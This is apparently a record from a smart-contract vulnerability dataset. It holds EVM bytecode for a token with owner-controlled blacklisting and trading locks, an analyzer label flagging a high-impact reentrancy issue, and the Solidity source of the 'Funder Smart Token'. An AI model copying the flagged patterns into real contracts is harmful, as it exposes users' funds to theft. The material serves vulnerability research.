10238565b3480156102b557600080fd5b506d0366e7064422fd842023400000005b604051908152602001610238565b3480156102e057600080fd5b506102616102ef366004611b91565b61066b565b34801561030057600080fd5b506102c660185481565b34801561031657600080fd5b5060405160098152602001610238565b34801561033257600080fd5b50601554610291906001600160a01b031681565b34801561035257600080fd5b50610366610361366004611bd2565b6106d4565b005b34801561037457600080fd5b50610366610383366004611bd2565b61072b565b34801561039457600080fd5b506103666103a3366004611c04565b610776565b3480156103b457600080fd5b506103666107be565b3480156103c957600080fd5b506102c66103d8366004611bd2565b610809565b3480156103e957600080fd5b5061036661082b565b3480156103fe57600080fd5b5061036661040d366004611c1f565b61089f565b34801561041e57600080fd5b506102c660165481565b34801561043457600080fd5b506102c6610443366004611bd2565b60116020526000908152604090205481565b34801561046157600080fd5b50610366610470366004611b65565b6108ce565b34801561048157600080fd5b506000546001600160a01b0316610291565b34801561049f57600080fd5b506103666104ae366004611c04565b61092d565b3480156104bf57600080fd5b506102c660175481565b3480156104d557600080fd5b506103666104e4366004611c1f565b610975565b3480156104f557600080fd5b50610366610504366004611c38565b6109a4565b34801561051557600080fd5b50610261610524366004611b65565b6109e2565b34801561053557600080fd5b50610261610544366004611bd2565b60106020526000908152604090205460ff1681565b34801561056557600080fd5b506103666109ef565b34801561057a57600080fd5b50610366610589366004611cb6565b610a43565b34801561059a57600080fd5b506103666105a9366004611d0a565b610ae4565b3480156105ba57600080fd5b506102c66105c9366004611d76565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561060057600080fd5b5061036661060f366004611daf565b610bd7565b34801561062057600080fd5b5061036661062f366004611c1f565b610c2c565b34801561064057600080fd5b5061036661064f366004611bd2565b610c5b565b6000610661338484610d45565b5060015b92915050565b6000610678848484610e69565b6106ca84336106c585604051806060016040528060288152602001611f5f602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906113a5565b610d45565b5060019392505050565b6000546001600160a01b031633146107075760405162461bcd60e51b81526004016106fe90611de4565b60405180910390fd5b6001600160a01b03166000908152601060205260409020805460ff19166001179055565b6000546001600160a01b031633146107555760405162461bcd60e51b81526004016106fe90611de4565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b031633146107a05760405162461bcd60e51b81526004016106fe90611de4565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b031614806107f357506013546001600160a01b0316336001600160a01b0316145b6107fc57600080fd5b47610806816113df565b50565b6001600160a01b03811660009081526002602052604081205461066590611419565b6000546001600160a01b031633146108555760405162461bcd60e51b81526004016106fe90611de4565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108c95760405162461bcd60e51b81526004016106fe90611de4565b601655565b6000546001600160a01b031633146108f85760405162461bcd60e51b81526004016106fe90611de4565b61090061149d565b610918338361091384633b9aca00611e2f565b610e69565b610929600e54600c55600f54600d55565b5050565b6000546001600160a01b031633146109575760405162461bcd60e51b81526004016106fe90611de4565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b0316331461099f5760405162461bcd60e51b81526004016106fe90611de4565b601855565b6000546001600160a01b031633146109ce5760405162461bcd60e51b81526004016106fe90611de4565b600893909355600a91909155600955600b55565b6000610661338484610e69565b6012546001600160a01b0316336001600160a01b03161480610a2457506013546001600160a01b0316336001600160a01b0316145b610a2d57600080fd5b6000610a3830610809565b9050610806816114cb565b6000546001600160a01b03163314610a6d5760405162461bcd60e51b81526004016106fe90611de4565b60005b82811015610ade578160056000868685818110610a8f57610a8f611e4e565b9050602002016020810190610aa49190611bd2565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610ad681611e64565b915050610a70565b50505050565b6000546001600160a01b03163314610b0e5760405162461bcd60e51b81526004016106fe90611de4565b6000838214610b5f5760405162461bcd60e51b815260206004820152601760248201527f6d757374206265207468652073616d65206c656e67746800000000000000000060448201526064016106fe565b83811015610bd057610bbe858583818110610b7c57610b7c611e4e565b9050602002016020810190610b919190611bd2565b848484818110610ba357610ba3611e4e565b90506020020135633b9aca00610bb99190611e2f565b611654565b610bc9600182611e7f565b9050610b5f565b5050505050565b6000546001600160a01b03163314610c015760405162461bcd60e51b81526004016106fe90611de4565b6001600160a01b03919091166000908152600560205260409020805460ff1916911515919091179055565b6000546001600160a01b03163314610c565760405162461bcd60e51b81526004016106fe90611de4565b601755565b6000546001600160a01b03163314610c855760405162461bcd60e51b81526004016106fe90611de4565b6001600160a01b038116610cea5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016106fe565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610da75760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016106fe565b6001600160a01b038216610e085760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016106fe565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610ecd5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016106fe565b6001600160a01b038216610f2f5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016106fe565b60008111610f915760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016106fe565b6000546001600160a01b03848116911614801590610fbd57506000546001600160a01b03838116911614155b1561129e57601554600160a01b900460ff16611056576000546001600160a01b038481169116146110565760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c65640060648201526084016106fe565b6016548111156110a85760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d69740000000060448201526064016106fe565b6001600160a01b03831660009081526010602052604090205460ff161580156110ea57506001600160a01b03821660009081526010602052604090205460ff16155b6111425760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b60648201526084016106fe565b6015546001600160a01b038381169116146111c7576017548161116484610809565b61116e9190611e7f565b106111c75760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b60648201526084016106fe565b60006111d230610809565b6018546016549192508210159082106111eb5760165491505b8080156112025750601554600160a81b900460ff16155b801561121c57506015546001600160a01b03868116911614155b80156112315750601554600160b01b900460ff165b801561125657506001600160a01b03851660009081526005602052604090205460ff16155b801561127b57506001600160a01b03841660009081526005602052604090205460ff16155b1561129b57611289826114cb565b47801561129957611299476113df565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff16806112e057506001600160a01b03831660009081526005602052604090205460ff165b8061131257506015546001600160a01b0385811691161480159061131257506015546001600160a01b03848116911614155b1561131f57506000611399565b6015546001600160a01b03858116911614801561134a57506014546001600160a01b03848116911614155b1561135c57600854600c55600954600d555b6015546001600160a01b03848116911614801561138757506014546001600160a01b03858116911614155b1561139957600a54600c55600b54600d555b610ade84848484611667565b600081848411156113c95760405162461bcd60e51b81526004016106fe9190611afb565b5060006113d68486611e97565b95945050505050565b6013546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610929573d6000803e3d6000fd5b60006006548211156114805760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016106fe565b600061148a611695565b905061149683826116b8565b9392505050565b600c541580156114ad5750600d54155b156114b457565b600c8054600e55600d8054600f5560009182905555565b6015805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061151357611513611e4e565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561156757600080fd5b505afa15801561157b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061159f9190611eae565b816001815181106115b2576115b2611e4e565b6001600160a01b0392831660209182029290920101526014546115d89130911684610d45565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac94790611611908590600090869030904290600401611ecb565b600060405180830381600087803b15801561162b57600080fd5b505af115801561163f573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b61165c61149d565b610918338383610e69565b806116745761167461149d565b61167f8484846116fa565b80610ade57610ade600e54600c55600f54600d55565b60008060006116a26117f1565b90925090506116b182826116b8565b9250505090565b600061149683836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061183d565b60008060008060008061170c8761186b565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061173e90876118c8565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461176d908661190a565b6001600160a01b03891660009081526002602052604090205561178f81611969565b61179984836119b3565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516117de91815260200190565b60405180910390a3505050505050505050565b60065460009081906d0366e7064422fd8420234000000061181282826116b8565b821015611834575050600654926d0366e7064422fd8420234000000092509050565b90939092509050565b6000818361185e5760405162461bcd60e51b81526004016106fe9190611afb565b5060006113d68486611f3c565b60008060008060008060008060006118888a600c54600d546119d7565b9250925092506000611898611695565b905060008060006118ab8e878787611a2c565b919e509c509a509598509396509194505050505091939550919395565b600061149683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506113a5565b6000806119178385611e7f565b9050838110156114965760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016106fe565b6000611973611695565b905060006119818383611a7c565b3060009081526002602052604090205490915061199e908261190a565b30600090815260026020526040902055505050565b6006546119c090836118c8565b6006556007546119d0908261190a565b6007555050565b60008080806119f160646119eb8989611a7c565b906116b8565b90506000611a0460646119eb8a89611a7c565b90506000611a1c82611a168b866118c8565b906118c8565b9992985090965090945050505050565b6000808080611a3b8886611a7c565b90506000611a498887611a7c565b90506000611a578888611a7c565b90506000611a6982611a1686866118c8565b939b939a50919850919650505050505050565b600082611a8b57506000610665565b6000611a978385611e2f565b905082611aa48583611f3c565b146114965760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016106fe565b600060208083528351808285015260005b81811015611b2857858101830151858201604001528201611b0c565b81811115611b3a576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b038116811461080657600080fd5b60008060408385031215611b7857600080fd5b8235611b8381611b50565b946020939093013593505050565b600080600060608486031215611ba657600080fd5b8335611bb181611b50565b92506020840135611bc181611b50565b929592945050506040919091013590565b600060208284031215611be457600080fd5b813561149681611b50565b80358015158114611bff57600080fd5b919050565b600060208284031215611c1657600080fd5b61149682611bef565b600060208284031215611c3157600080fd5b5035919050565b60008060008060808587031215611c4e57600080fd5b5050823594602084013594506040840135936060013592509050565b60008083601f840112611c7c57600080fd5b50813567ffffffffffffffff811115611c9457600080fd5b6020830191508360208260051b8501011115611caf57600080fd5b9250929050565b600080600060408486031215611ccb57600080fd5b833567ffffffffffffffff811115611ce257600080fd5b611cee86828701611c6a565b9094509250611d01905060208501611bef565b90509250925092565b60008060008060408587031215611d2057600080fd5b843567ffffffffffffffff80821115611d3857600080fd5b611d4488838901611c6a565b90965094506020870135915080821115611d5d57600080fd5b50611d6a87828801611c6a565b95989497509550505050565b60008060408385031215611d8957600080fd5b8235611d9481611b50565b91506020830135611da481611b50565b809150509250929050565b60008060408385031215611dc257600080fd5b8235611dcd81611b50565b9150611ddb60208401611bef565b90509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052601160045260246000fd5b6000816000190483118215151615611e4957611e49611e19565b500290565b634e487b7160e01b600052603260045260246000fd5b6000600019821415611e7857611e78611e19565b5060010190565b60008219821115611e9257611e92611e19565b500190565b600082821015611ea957611ea9611e19565b500390565b600060208284031215611ec057600080fd5b815161149681611b50565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611f1b5784516001600160a01b031683529383019391830191600101611ef6565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611f5957634e487b7160e01b600052601260045260246000fd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212203e98acbc29d281c60e559469af7d8c4a0492188a17528cab4db2277481a1f8a264736f6c63430008090033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
1,778
0x51c028bc9503874d74965638a4632A266d31f61F
pragma solidity ^0.4.24; pragma experimental "v0.5.0"; pragma experimental ABIEncoderV2; library AddressExtension { function isValid(address _address) internal pure returns (bool) { return 0 != _address; } function isAccount(address _address) internal view returns (bool result) { assembly { result := iszero(extcodesize(_address)) } } function toBytes(address _address) internal pure returns (bytes b) { assembly { let m := mload(0x40) mstore(add(m, 20), xor(0x140000000000000000000000000000000000000000, _address)) mstore(0x40, add(m, 52)) b := m } } } library Math { struct Fraction { uint256 numerator; uint256 denominator; } function isPositive(Fraction memory fraction) internal pure returns (bool) { return fraction.numerator > 0 && fraction.denominator > 0; } function mul(uint256 a, uint256 b) internal pure returns (uint256 r) { r = a * b; require((a == 0) || (r / a == b)); } function div(uint256 a, uint256 b) internal pure returns (uint256 r) { r = a / b; } function sub(uint256 a, uint256 b) internal pure returns (uint256 r) { require((r = a - b) <= a); } function add(uint256 a, uint256 b) internal pure returns (uint256 r) { require((r = a + b) >= a); } function min(uint256 x, uint256 y) internal pure returns (uint256 r) { return x <= y ? x : y; } function max(uint256 x, uint256 y) internal pure returns (uint256 r) { return x >= y ? x : y; } function mulDiv(uint256 value, uint256 m, uint256 d) internal pure returns (uint256 r) { r = value * m; if (r / value == m) { r /= d; } else { r = mul(value / d, m); } } function mulDivCeil(uint256 value, uint256 m, uint256 d) internal pure returns (uint256 r) { r = value * m; if (r / value == m) { if (r % d == 0) { r /= d; } else { r = (r / d) + 1; } } else { r = mul(value / d, m); if (value % d != 0) { r += 1; } } } function mul(uint256 x, Fraction memory f) internal pure returns (uint256) { return mulDiv(x, f.numerator, f.denominator); } function mulCeil(uint256 x, Fraction memory f) internal pure returns (uint256) { return mulDivCeil(x, f.numerator, f.denominator); } function div(uint256 x, Fraction memory f) internal pure returns (uint256) { return mulDiv(x, f.denominator, f.numerator); } function divCeil(uint256 x, Fraction memory f) internal pure returns (uint256) { return mulDivCeil(x, f.denominator, f.numerator); } function mul(Fraction memory x, Fraction memory y) internal pure returns (Math.Fraction) { return Math.Fraction({ numerator: mul(x.numerator, y.numerator), denominator: mul(x.denominator, y.denominator) }); } } contract FsTKAuthority { function isAuthorized(address sender, address _contract, bytes data) public view returns (bool); function isApproved(bytes32 hash, uint256 approveTime, bytes approveToken) public view returns (bool); function validate() public pure returns (bytes4); } contract Authorizable { event SetFsTKAuthority(FsTKAuthority indexed _address); modifier onlyFsTKAuthorized { require(fstkAuthority.isAuthorized(msg.sender, this, msg.data)); _; } modifier onlyFsTKApproved(bytes32 hash, uint256 approveTime, bytes approveToken) { require(fstkAuthority.isApproved(hash, approveTime, approveToken)); _; } FsTKAuthority internal fstkAuthority; constructor(FsTKAuthority _fstkAuthority) internal { fstkAuthority = _fstkAuthority; } function setFsTKAuthority(FsTKAuthority _fstkAuthority) public onlyFsTKAuthorized { require(_fstkAuthority.validate() == _fstkAuthority.validate.selector); emit SetFsTKAuthority(fstkAuthority = _fstkAuthority); } } contract ERC20 { event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); function balanceOf(address owner) public view returns (uint256); function allowance(address owner, address spender) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); } contract SecureERC20 is ERC20 { event SetERC20ApproveChecking(bool approveChecking); function approve(address spender, uint256 expectedValue, uint256 newValue) public returns (bool); function increaseAllowance(address spender, uint256 value) public returns (bool); function decreaseAllowance(address spender, uint256 value, bool strict) public returns (bool); function setERC20ApproveChecking(bool approveChecking) public; } contract FsTKToken { enum DelegateMode { PublicMsgSender, PublicTxOrigin, PrivateMsgSender, PrivateTxOrigin } event Consume(address indexed from, uint256 value, bytes32 challenge); event IncreaseNonce(address indexed from, uint256 nonce); event SetupDirectDebit(address indexed debtor, address indexed receiver, DirectDebitInfo info); event TerminateDirectDebit(address indexed debtor, address indexed receiver); event WithdrawDirectDebitFailure(address indexed debtor, address indexed receiver); event SetMetadata(string metadata); event SetLiquid(bool liquidity); event SetDelegate(bool isDelegateEnable); event SetDirectDebit(bool isDirectDebitEnable); struct DirectDebitInfo { uint256 amount; uint256 startTime; uint256 interval; } struct DirectDebit { DirectDebitInfo info; uint256 epoch; } struct Instrument { uint256 allowance; DirectDebit directDebit; } struct Account { uint256 balance; uint256 nonce; mapping (address => Instrument) instruments; } function spendableAllowance(address owner, address spender) public view returns (uint256); function transfer(uint256[] data) public returns (bool); function transferAndCall(address to, uint256 value, bytes data) public payable returns (bool); function nonceOf(address owner) public view returns (uint256); function increaseNonce() public returns (bool); function delegateTransferAndCall( uint256 nonce, uint256 fee, uint256 gasAmount, address to, uint256 value, bytes data, DelegateMode mode, uint8 v, bytes32 r, bytes32 s ) public returns (bool); function directDebit(address debtor, address receiver) public view returns (DirectDebit); function setupDirectDebit(address receiver, DirectDebitInfo info) public returns (bool); function terminateDirectDebit(address receiver) public returns (bool); function withdrawDirectDebit(address debtor) public returns (bool); function withdrawDirectDebit(address[] debtors, bool strict) public returns (bool); } contract ERC20Like is SecureERC20, FsTKToken { using AddressExtension for address; using Math for uint256; modifier liquid { require(isLiquid); _; } modifier canUseDirectDebit { require(isDirectDebitEnable); _; } modifier canDelegate { require(isDelegateEnable); _; } bool public erc20ApproveChecking; bool public isLiquid = true; bool public isDelegateEnable; bool public isDirectDebitEnable; string public metadata; mapping(address => Account) internal accounts; constructor(string _metadata) public { metadata = _metadata; } function balanceOf(address owner) public view returns (uint256) { return accounts[owner].balance; } function allowance(address owner, address spender) public view returns (uint256) { return accounts[owner].instruments[spender].allowance; } function transfer(address to, uint256 value) public liquid returns (bool) { Account storage senderAccount = accounts[msg.sender]; senderAccount.balance = senderAccount.balance.sub(value); accounts[to].balance += value; emit Transfer(msg.sender, to, value); return true; } function transferFrom(address from, address to, uint256 value) public liquid returns (bool) { Account storage fromAccount = accounts[from]; Instrument storage senderInstrument = fromAccount.instruments[msg.sender]; fromAccount.balance = fromAccount.balance.sub(value); senderInstrument.allowance = senderInstrument.allowance.sub(value); accounts[to].balance += value; emit Transfer(from, to, value); return true; } function approve(address spender, uint256 value) public returns (bool) { Instrument storage spenderInstrument = accounts[msg.sender].instruments[spender]; if (erc20ApproveChecking) { require((value == 0) || (spenderInstrument.allowance == 0)); } emit Approval( msg.sender, spender, spenderInstrument.allowance = value ); return true; } function setERC20ApproveChecking(bool approveChecking) public { emit SetERC20ApproveChecking(erc20ApproveChecking = approveChecking); } function approve(address spender, uint256 expectedValue, uint256 newValue) public returns (bool) { Instrument storage spenderInstrument = accounts[msg.sender].instruments[spender]; require(spenderInstrument.allowance == expectedValue); emit Approval( msg.sender, spender, spenderInstrument.allowance = newValue ); return true; } function increaseAllowance(address spender, uint256 value) public returns (bool) { Instrument storage spenderInstrument = accounts[msg.sender].instruments[spender]; emit Approval( msg.sender, spender, spenderInstrument.allowance = spenderInstrument.allowance.add(value) ); return true; } function decreaseAllowance(address spender, uint256 value, bool strict) public returns (bool) { Instrument storage spenderInstrument = accounts[msg.sender].instruments[spender]; uint256 currentValue = spenderInstrument.allowance; uint256 newValue; if (strict) { newValue = currentValue.sub(value); } else if (value < currentValue) { newValue = currentValue - value; } emit Approval( msg.sender, spender, spenderInstrument.allowance = newValue ); return true; } function setMetadata0(string _metadata) internal { emit SetMetadata(metadata = _metadata); } function setLiquid0(bool liquidity) internal { emit SetLiquid(isLiquid = liquidity); } function setDelegate(bool delegate) public { emit SetDelegate(isDelegateEnable = delegate); } function setDirectDebit(bool directDebit) public { emit SetDirectDebit(isDirectDebitEnable = directDebit); } function spendableAllowance(address owner, address spender) public view returns (uint256) { Account storage ownerAccount = accounts[owner]; return Math.min( ownerAccount.instruments[spender].allowance, ownerAccount.balance ); } function transfer(uint256[] data) public liquid returns (bool) { Account storage senderAccount = accounts[msg.sender]; uint256 totalValue; for (uint256 i = 0; i < data.length; i++) { address receiver = address(data[i] >> 96); uint256 value = data[i] & 0xffffffffffffffffffffffff; totalValue = totalValue.add(value); accounts[receiver].balance += value; emit Transfer(msg.sender, receiver, value); } senderAccount.balance = senderAccount.balance.sub(totalValue); return true; } function transferAndCall( address to, uint256 value, bytes data ) public payable liquid returns (bool) { require( to != address(this) && data.length >= 68 && transfer(to, value) ); assembly { mstore(add(data, 36), value) mstore(add(data, 68), caller) } require(to.call.value(msg.value)(data)); return true; } function nonceOf(address owner) public view returns (uint256) { return accounts[owner].nonce; } function increaseNonce() public returns (bool) { emit IncreaseNonce(msg.sender, accounts[msg.sender].nonce += 1); } function delegateTransferAndCall( uint256 nonce, uint256 fee, uint256 gasAmount, address to, uint256 value, bytes data, DelegateMode mode, uint8 v, bytes32 r, bytes32 s ) public liquid canDelegate returns (bool) { require(to != address(this)); address signer; address relayer; if (mode == DelegateMode.PublicMsgSender) { signer = ecrecover( keccak256(abi.encodePacked(this, nonce, fee, gasAmount, to, value, data, mode, address(0))), v, r, s ); relayer = msg.sender; } else if (mode == DelegateMode.PublicTxOrigin) { signer = ecrecover( keccak256(abi.encodePacked(this, nonce, fee, gasAmount, to, value, data, mode, address(0))), v, r, s ); relayer = tx.origin; } else if (mode == DelegateMode.PrivateMsgSender) { signer = ecrecover( keccak256(abi.encodePacked(this, nonce, fee, gasAmount, to, value, data, mode, msg.sender)), v, r, s ); relayer = msg.sender; } else if (mode == DelegateMode.PrivateTxOrigin) { signer = ecrecover( keccak256(abi.encodePacked(this, nonce, fee, gasAmount, to, value, data, mode, tx.origin)), v, r, s ); relayer = tx.origin; } else { revert(); } Account storage signerAccount = accounts[signer]; require(nonce == signerAccount.nonce); emit IncreaseNonce(signer, signerAccount.nonce += 1); signerAccount.balance = signerAccount.balance.sub(value.add(fee)); accounts[to].balance += value; if (fee != 0) { accounts[relayer].balance += fee; emit Transfer(signer, relayer, fee); } if (!to.isAccount() && data.length >= 68) { assembly { mstore(add(data, 36), value) mstore(add(data, 68), signer) } if (to.call.gas(gasAmount)(data)) { emit Transfer(signer, to, value); } else { signerAccount.balance += value; accounts[to].balance -= value; } } else { emit Transfer(signer, to, value); } return true; } function directDebit(address debtor, address receiver) public view returns (DirectDebit) { return accounts[debtor].instruments[receiver].directDebit; } function setupDirectDebit( address receiver, DirectDebitInfo info ) public returns (bool) { accounts[msg.sender].instruments[receiver].directDebit = DirectDebit({ info: info, epoch: 0 }); emit SetupDirectDebit(msg.sender, receiver, info); return true; } function terminateDirectDebit(address receiver) public returns (bool) { delete accounts[msg.sender].instruments[receiver].directDebit; emit TerminateDirectDebit(msg.sender, receiver); return true; } function withdrawDirectDebit(address debtor) public liquid canUseDirectDebit returns (bool) { Account storage debtorAccount = accounts[debtor]; DirectDebit storage debit = debtorAccount.instruments[msg.sender].directDebit; uint256 epoch = (block.timestamp.sub(debit.info.startTime) / debit.info.interval).add(1); uint256 amount = epoch.sub(debit.epoch).mul(debit.info.amount); require(amount > 0); debtorAccount.balance = debtorAccount.balance.sub(amount); accounts[msg.sender].balance += amount; debit.epoch = epoch; emit Transfer(debtor, msg.sender, amount); return true; } function withdrawDirectDebit(address[] debtors, bool strict) public liquid canUseDirectDebit returns (bool result) { Account storage receiverAccount = accounts[msg.sender]; result = true; uint256 total; for (uint256 i = 0; i < debtors.length; i++) { address debtor = debtors[i]; Account storage debtorAccount = accounts[debtor]; DirectDebit storage debit = debtorAccount.instruments[msg.sender].directDebit; uint256 epoch = (block.timestamp.sub(debit.info.startTime) / debit.info.interval).add(1); uint256 amount = epoch.sub(debit.epoch).mul(debit.info.amount); require(amount > 0); uint256 debtorBalance = debtorAccount.balance; if (amount > debtorBalance) { if (strict) { revert(); } result = false; emit WithdrawDirectDebitFailure(debtor, msg.sender); } else { debtorAccount.balance = debtorBalance - amount; total += amount; debit.epoch = epoch; emit Transfer(debtor, msg.sender, amount); } } receiverAccount.balance += total; } } contract FsTKAllocation { function initialize(uint256 _vestedAmount) public; } contract FunderSmartToken is Authorizable, ERC20Like { string public constant name = "Funder Smart Token"; string public constant symbol = "FST"; uint256 public constant totalSupply = 330000000 ether; uint8 public constant decimals = 18; constructor( FsTKAuthority _fstkAuthority, string _metadata, address coldWallet, FsTKAllocation allocation ) Authorizable(_fstkAuthority) ERC20Like(_metadata) public { uint256 vestedAmount = totalSupply / 12; accounts[allocation].balance = vestedAmount; emit Transfer(address(0), allocation, vestedAmount); allocation.initialize(vestedAmount); uint256 releaseAmount = totalSupply - vestedAmount; accounts[coldWallet].balance = releaseAmount; emit Transfer(address(0), coldWallet, releaseAmount); } function setMetadata(string infoUrl) public onlyFsTKAuthorized { setMetadata0(infoUrl); } function setLiquid(bool liquidity) public onlyFsTKAuthorized { setLiquid0(liquidity); } function setERC20ApproveChecking(bool approveChecking) public onlyFsTKAuthorized { super.setERC20ApproveChecking(approveChecking); } function setDelegate(bool delegate) public onlyFsTKAuthorized { super.setDelegate(delegate); } function setDirectDebit(bool directDebit) public onlyFsTKAuthorized { super.setDirectDebit(directDebit); } function transferToken(ERC20 erc20, address to, uint256 value) public onlyFsTKAuthorized { erc20.transfer(to, value); } }
0x6080604052600436106101b65763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde0381146101bb578063095ea7b3146101e65780630ade71421461021357806318160ddd1461023357806319261e6f14610255578063218e68771461027757806323b872dd1461029757806324a73e5f146102b7578063313ce567146102d7578063392f37e9146102f9578063395093511461030e5780634000aea01461032e57806340086aa01461034157806340f828a21461036e578063426a84931461038e5780635551b6b6146103ae5780635d272468146103c35780635d71cf46146103d8578063643f0e2a146103f857806370a0823114610418578063712c0c5a146104385780637bc0e00514610458578063806333c4146104785780638b8ba6921461049857806395d89b41146104b8578063a196bea0146104cd578063a49a1e7d146104e2578063a9059cbb14610502578063b39e1c6c14610522578063b5e3641714610542578063c53a029214610562578063dd62ed3e14610577578063ed2a2d6414610597578063ef765af8146105b7578063f5537ede146105cc575b600080fd5b3480156101c757600080fd5b506101d06105ec565b6040516101dd9190613281565b60405180910390f35b3480156101f257600080fd5b50610206610201366004612d1e565b610623565b6040516101dd9190613235565b34801561021f57600080fd5b5061020661022e366004612c49565b6106ed565b34801561023f57600080fd5b50610248610771565b6040516101dd91906132bf565b34801561026157600080fd5b50610275610270366004612e9a565b610781565b005b34801561028357600080fd5b50610275610292366004612e9a565b610844565b3480156102a357600080fd5b506102066102b2366004612ca1565b610904565b3480156102c357600080fd5b506102066102d2366004612d4e565b610a06565b3480156102e357600080fd5b506102ec610ac7565b6040516101dd91906132cd565b34801561030557600080fd5b506101d0610acc565b34801561031a57600080fd5b50610206610329366004612d1e565b610b77565b61020661033c366004612d91565b610bf2565b34801561034d57600080fd5b5061036161035c366004612c67565b610d08565b6040516101dd91906132b1565b34801561037a57600080fd5b50610275610389366004612e9a565b610d82565b34801561039a57600080fd5b506102066103a9366004612dec565b610e42565b3480156103ba57600080fd5b50610206610ee1565b3480156103cf57600080fd5b50610206610f04565b3480156103e457600080fd5b506102486103f3366004612c67565b610f26565b34801561040457600080fd5b50610275610413366004612f15565b610f73565b34801561042457600080fd5b50610248610433366004612c49565b611162565b34801561044457600080fd5b50610206610453366004612e1e565b61118a565b34801561046457600080fd5b50610275610473366004612e9a565b6113ad565b34801561048457600080fd5b50610206610493366004612cee565b61146d565b3480156104a457600080fd5b506102066104b3366004612f68565b61151d565b3480156104c457600080fd5b506101d0612065565b3480156104d957600080fd5b5061020661209c565b3480156104ee57600080fd5b506102756104fd366004612f33565b6120c0565b34801561050e57600080fd5b5061020661051d366004612d1e565b612180565b34801561052e57600080fd5b5061020661053d366004612c49565b61222e565b34801561054e57600080fd5b5061020661055d366004612e65565b612381565b34801561056e57600080fd5b506102066124b1565b34801561058357600080fd5b50610248610592366004612c67565b61250a565b3480156105a357600080fd5b506102486105b2366004612c49565b612543565b3480156105c357600080fd5b5061020661256e565b3480156105d857600080fd5b506102756105e7366004612ef4565b61258f565b60408051808201909152601281527f46756e64657220536d61727420546f6b656e0000000000000000000000000000602082015281565b33600090815260026020818152604080842073ffffffffffffffffffffffffffffffffffffffff8716855290920190528120815474010000000000000000000000000000000000000000900460ff161561068e5782158061068357508054155b151561068e57600080fd5b82815560405173ffffffffffffffffffffffffffffffffffffffff85169033907f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925906106db9087906132bf565b60405180910390a35060019392505050565b33600081815260026020818152604080842073ffffffffffffffffffffffffffffffffffffffff8716808652908401909252808420600181018590559283018490556003830184905560049092018390559051919290917f7f321b39581bf86dddbaa9ddeec3e0740b71f116b22c14cf346c